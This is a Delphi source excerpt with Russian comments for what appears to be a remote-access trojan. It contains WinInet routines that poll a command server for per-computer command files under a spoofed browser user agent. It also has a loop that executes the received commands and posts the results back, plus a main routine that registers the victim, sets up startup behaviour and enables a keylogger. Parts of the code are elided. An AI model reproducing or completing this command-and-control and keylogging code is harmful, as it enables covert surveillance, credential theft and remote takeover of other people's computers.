uses Windows, Dialogs, Messages, SysUtils, Variants, Classes, Graphics,*WinSock, WinInet, ShellAPI, ShlObj, ComObj, jpeg, MMsystem, ActiveX*,Forms; ... function SendRequest(szHost, szPath, lpszVerb, szHeaders, szData: PChar): String; var dwBytes: Dword; Buf: array [0..4096] of Char; hOpenHandle, hConnectHandle, hResourceHandle: Pointer; bRead: Bool; begin hOpenHandle := InternetOpen('Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0)',0,*nil,*nil,*0); if hOpenHandle <> nil then begin hConnectHandle := InternetConnect(hOpenHandle,*szHost,*80,nil,*nil,*3,*0,*0); if hConnectHandle <> nil then begin hResourceHandle := HttpOpenRequest(hConnectHandle, lpszVerb, szPath, nil, nil, nil, INTERNET_FLAG_KEEP_CONNECTION, 0); if hResourceHandle <> nil then begin if HttpSendRequest(hResourceHandle,*szHeaders,*lstrlen(szHeaders),*szData,*lstrlen(szData)) then repeat ZeroMemory(@Buf, SizeOf(Buf)); bRead := InternetReadFile(hResourceHandle, @Buf, 4096, dwBytes); Result := Result + Buf; until (bRead = false) or (dwBytes = 0); end; InternetCloseHandle(hResourceHandle); end; InternetCloseHandle(hConnectHandle); end; InternetCloseHandle(hOpenHandle); end; //SendRequest function GetValue(username, filename: string; pnum: integer): string;//Получить данные с сервера var PostData : String ; begin PostData:='act=get&username=' + username + '&filename=' + filename; if not (pnum=-1) then PostData:=PostData+'&get=' + IntToStr(pnum); try SendRequest(PChar(webserver_host), PChar(webserver_path+webserver_name), 'POST', nil, PChar(PostData)); except end ; end; function SetValue(username, filename, value: string): string;//Отправить данные на сервер var PostData : String ; begin PostData:='act=set&username=' + username + '&filename=' + filename + '&' + filename + '=' + value; try SendRequest(PChar(webserver_host), PChar(webserver_path+webserver_name), 'POST', nil, PChar(PostData)); except end ; end; function GetRequest(server_host, filepath: string): string;//Отправить данные на сервер begin try GetRequest:=SendRequest(PChar(server_host), PChar(filepath), 'GET', nil, nil); except end ; end; function PostRequest(server_host, filepath, data: string): string;//Отправить данные на сервер begin try PostRequest:=SendRequest(PChar(server_host), PChar(filepath), 'POST', nil, PChar(data)); except end ; end; Function Scan: string; var command, online: string; begin if (not stop) and (connect) then begin repeat command:=''; try command:=GetRequest( webserver_host, webserver_path + ComputerName + '/command.txt'); online:=GetRequest( webserver_host, webserver_path + ComputerName + '/online.txt'); if (online='IsOnline') then begin SetValue(ComputerName, 'online', 'online'); end; except end; until (command<>'empty') or (stop); command:=parse(command, '|', 1);; result:=command; end; end; Procedure Run;//Выполнение команд var command, return: string; begin repeat command:=Scan; return:=''; ... if return='' then return:='Неизвестная команда'; SetValue(ComputerName, 'result', return); SetValue(ComputerName, 'command', 'empty'); until stop; end ; begin Application.Initialize; Application.Run; Inialization; StartUp; if connect then begin RegUser; Notify(ComputerName + ' is online'); end; if AnsiLowerCase(paramStr(2))<>'exec' then OnlyOneCopy; EnableKeylogger; Run; while GetMessage(Msg, 0, 0, 0) do begin TranslateMessage(Msg); DispatchMessage(Msg); end;
